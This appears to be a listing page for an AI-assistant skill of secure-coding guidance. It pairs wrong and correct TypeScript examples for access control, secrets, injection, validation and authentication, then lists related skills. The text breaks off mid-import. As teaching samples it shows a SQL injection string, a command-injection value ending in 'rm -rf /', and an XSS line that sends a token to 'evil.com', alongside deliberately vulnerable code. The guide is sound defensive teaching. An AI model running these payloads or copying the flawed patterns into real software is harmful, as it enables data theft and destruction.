security-patterns
Security best practices for authentication, input validation, OWASP patterns, and secure coding. Use when handling user input, auth, secrets, or sensitive data.
What this skill does
# Security Patterns
Comprehensive security patterns and best practices for secure application development.
## When to Use
- Implementing authentication or authorization
- Handling user input or file uploads
- Working with secrets or environment variables
- Creating API endpoints
- Storing or transmitting sensitive data
- Integrating third-party services
## OWASP Top 10 Patterns
### 1. Broken Access Control
#### ❌ WRONG: Missing Authorization
```typescript
export async function DELETE(request: Request) {
const { userId } = await request.json()
// No authorization check - anyone can delete any user
await db.users.delete({ where: { id: userId } })
return NextResponse.json({ success: true })
}
```
#### ✅ CORRECT: Proper Authorization
```typescript
export async function DELETE(request: Request) {
const session = await getSession(request)
const { userId } = await request.json()
// Check if user is authorized
if (session.userId !== userId && session.role !== 'admin') {
return NextResponse.json(
{ error: 'Unauthorized' },
{ status: 403 }
)
}
await db.users.delete({ where: { id: userId } })
return NextResponse.json({ success: true })
}
```
### 2. Cryptographic Failures
#### ❌ WRONG: Hardcoded Secrets
```typescript
const JWT_SECRET = "my-super-secret-key"
const API_KEY = "sk-proj-xxxxxxxxxxxxx"
const DATABASE_URL = "postgresql://user:password@localhost/db"
```
#### ✅ CORRECT: Environment Variables
```typescript
// .env.local (never commit this file)
JWT_SECRET=use-a-strong-randomly-generated-secret
OPENAI_API_KEY=sk-proj-xxxxxxxxxxxxx
DATABASE_URL=postgresql://user:password@host/db
// app code
const jwtSecret = process.env.JWT_SECRET
if (!jwtSecret) {
throw new Error('JWT_SECRET environment variable not set')
}
const apiKey = process.env.OPENAI_API_KEY
if (!apiKey) {
throw new Error('OPENAI_API_KEY not configured')
}
```
**Verification Steps:**
- [ ] No secrets in source code
- [ ] `.env.local` in `.gitignore`
- [ ] Secrets validated at startup
- [ ] Production secrets in hosting platform (Vercel, Railway)
- [ ] No secrets in git history (`git log --all --full-history --source -- .env*`)
### 3. Injection Attacks
#### SQL Injection
❌ **WRONG: String Concatenation**
```typescript
const email = request.body.email
const query = `SELECT * FROM users WHERE email = '${email}'`
await db.query(query)
// Vulnerable to: ' OR '1'='1
```
✅ **CORRECT: Parameterized Queries**
```typescript
// With Supabase
const { data, error } = await supabase
.from('users')
.select('*')
.eq('email', email)
// With raw SQL
await db.query(
'SELECT * FROM users WHERE email = $1',
[email]
)
```
#### Command Injection
❌ **WRONG: Unsanitized Shell Commands**
```typescript
import { exec } from 'child_process'
const filename = request.body.filename
exec(`cat ${filename}`, callback)
// Vulnerable to: file.txt; rm -rf /
```
✅ **CORRECT: Avoid Shell Commands**
```typescript
import { readFile } from 'fs/promises'
import path from 'path'
const filename = request.body.filename
const safePath = path.join('/safe/directory', path.basename(filename))
const content = await readFile(safePath, 'utf8')
```
### 4. Insecure Design
#### ❌ WRONG: Weak Password Requirements
```typescript
function validatePassword(password: string) {
return password.length >= 6
}
```
#### ✅ CORRECT: Strong Password Policy
```typescript
import { z } from 'zod'
const PasswordSchema = z.string()
.min(12, 'Password must be at least 12 characters')
.regex(/[A-Z]/, 'Must contain uppercase letter')
.regex(/[a-z]/, 'Must contain lowercase letter')
.regex(/[0-9]/, 'Must contain number')
.regex(/[^A-Za-z0-9]/, 'Must contain special character')
function validatePassword(password: string) {
try {
PasswordSchema.parse(password)
return { valid: true }
} catch (error) {
return { valid: false, errors: error.errors }
}
}
```
## Input Validation Patterns
### Schema-Based Validation
```typescript
import { z } from 'zod'
// Define schemas for all inputs
const CreateUserSchema = z.object({
email: z.string().email(),
name: z.string().min(1).max(100),
age: z.number().int().min(0).max(150).optional(),
role: z.enum(['user', 'admin', 'moderator']),
metadata: z.record(z.string()).optional()
})
export async function POST(request: Request) {
try {
const body = await request.json()
const validated = CreateUserSchema.parse(body)
// Safe to use validated data
const user = await db.users.create(validated)
return NextResponse.json({ success: true, user })
} catch (error) {
if (error instanceof z.ZodError) {
return NextResponse.json(
{ error: 'Validation failed', details: error.errors },
{ status: 400 }
)
}
throw error
}
}
```
### File Upload Validation
```typescript
const MAX_FILE_SIZE = 5 * 1024 * 1024 // 5MB
const ALLOWED_TYPES = ['image/jpeg', 'image/png', 'image/gif', 'image/webp']
const ALLOWED_EXTENSIONS = ['.jpg', '.jpeg', '.png', '.gif', '.webp']
function validateFileUpload(file: File): { valid: boolean; error?: string } {
// Size check
if (file.size > MAX_FILE_SIZE) {
return { valid: false, error: 'File too large (max 5MB)' }
}
// MIME type check
if (!ALLOWED_TYPES.includes(file.type)) {
return { valid: false, error: 'Invalid file type' }
}
// Extension check (prevent bypass via MIME type)
const extension = file.name.toLowerCase().match(/\.[^.]+$/)?.[0]
if (!extension || !ALLOWED_EXTENSIONS.includes(extension)) {
return { valid: false, error: 'Invalid file extension' }
}
return { valid: true }
}
```
### Sanitize HTML Input
```typescript
import DOMPurify from 'isomorphic-dompurify'
function sanitizeUserHTML(html: string): string {
return DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br', 'ul', 'ol', 'li'],
ALLOWED_ATTR: [],
ALLOW_DATA_ATTR: false
})
}
// Use in component
function UserContent({ html }: { html: string }) {
const clean = sanitizeUserHTML(html)
return <div dangerouslySetInnerHTML={{ __html: clean }} />
}
```
## Authentication Patterns
### JWT Token Handling
❌ **WRONG: localStorage (XSS vulnerable)**
```typescript
// Client-side
localStorage.setItem('token', token)
// Attacker can steal via XSS:
// <script>fetch('evil.com?token='+localStorage.token)</script>
```
✅ **CORRECT: httpOnly Cookies**
```typescript
// Server-side
export async function POST(request: Request) {
const { email, password } = await request.json()
const user = await authenticateUser(email, password)
if (!user) {
return NextResponse.json({ error: 'Invalid credentials' }, { status: 401 })
}
const token = await generateJWT(user)
const response = NextResponse.json({ success: true })
response.cookies.set('token', token, {
httpOnly: true, // Cannot be accessed by JavaScript
secure: true, // Only sent over HTTPS
sameSite: 'strict', // CSRF protection
maxAge: 60 * 60 * 24 // 24 hours
})
return response
}
```
### Password Hashing
❌ **WRONG: Plain Text or Weak Hashing**
```typescript
import crypto from 'crypto'
// Never store plain text
const user = { email, password: password }
// MD5/SHA1 are too fast (vulnerable to brute force)
const hash = crypto.createHash('md5').update(password).digest('hex')
```
✅ **CORRECT: bcrypt or Argon2**
```typescript
import bcrypt from 'bcryptjs'
// Hash password with salt
async function hashPassword(password: string): Promise<string> {
const saltRounds = 12 // Increase for more security
return await bcrypt.hash(password, saltRounds)
}
// Verify password
async function verifyPassword(password: string, hash: string): Promise<boolean> {
return await bcrypt.compare(password, hash)
}
// Usage
const hashedPassword = await hashPassword(plainPassword)
await db.users.create({ email, password: hashedPassword })
```
### Multi-Factor Authentication
```typescript
import speakeasy from 'speakeasy'
import QRelated in Security
mac-ops
IncludedComprehensive macOS workstation operations — diagnose kernel panics, identify failing drives, audit launchd startup items, decode wake reasons, triage TCC permission denials, manage APFS snapshots, recover from no-boot. Use for: Mac is slow, slow bootup, won't boot, kernel panic, kernel_task hot, mds_stores CPU, photoanalysisd, cloudd, login loop, gray screen, sleep wake failure, drive failing, IO errors, APFS snapshots eating space, Time Machine local snapshots, Spotlight indexing, launchd, LaunchAgent, LaunchDaemon, login items, TCC permissions, Full Disk Access, Screen Recording denied, Gatekeeper, quarantine, com.apple.quarantine, app is damaged, helper tool, /Library/PrivilegedHelperTools, pmset, wake reasons, dark wake, sysdiagnose, panic.ips, DiagnosticReports, configuration profile, MDM profile, remote diagnostics over SSH.
a11y-audit
IncludedRun accessibility audits on web projects combining automated scanning (axe-core, Lighthouse) with WCAG 2.1 AA compliance mapping, manual check guidance, and structured reporting. Output is configurable: markdown report only, markdown plus machine-readable JSON, or markdown plus issue tracker integration. Use this skill whenever the user mentions "accessibility audit", "a11y audit", "WCAG audit", "accessibility check", "compliance scan", or asks to check a web project for accessibility issues. Also trigger when the user wants to verify WCAG conformance or map findings to a specific standard (CAN-ASC-6.2, EN 301 549, ADA/AODA).
erpclaw
IncludedAI-native ERP system with self-extending OS. Full accounting, invoicing, inventory, purchasing, tax, billing, HR, payroll, advanced accounting (ASC 606/842, intercompany, consolidation), and financial reporting. 413 actions across 14 domains, 43 expansion modules. Constitutional guardrails, adversarial audit, schema migration. Double-entry GL, immutable audit trail, US GAAP.
assess
IncludedAssesses and rates quality 0-10 across multiple dimensions (correctness, maintainability, security, performance, testability, simplicity) with pros/cons analysis. Compares against project conventions and prior decisions from memory. Produces structured evaluation reports with actionable improvement suggestions. Use when evaluating code, designs, architectures, or comparing alternative approaches.
spring-boot-security-jwt
IncludedProvides JWT authentication and authorization patterns for Spring Boot 3.5.x covering token generation with JJWT, Bearer/cookie authentication, database/OAuth2 integration, and RBAC/permission-based access control using Spring Security 6.x. Use when implementing authentication or authorization in Spring Boot applications.
code-hardcode-audit
IncludedDetect hardcoded values, magic numbers, and leaked secrets. TRIGGERS - hardcode audit, magic numbers, PLR2004, secret scanning.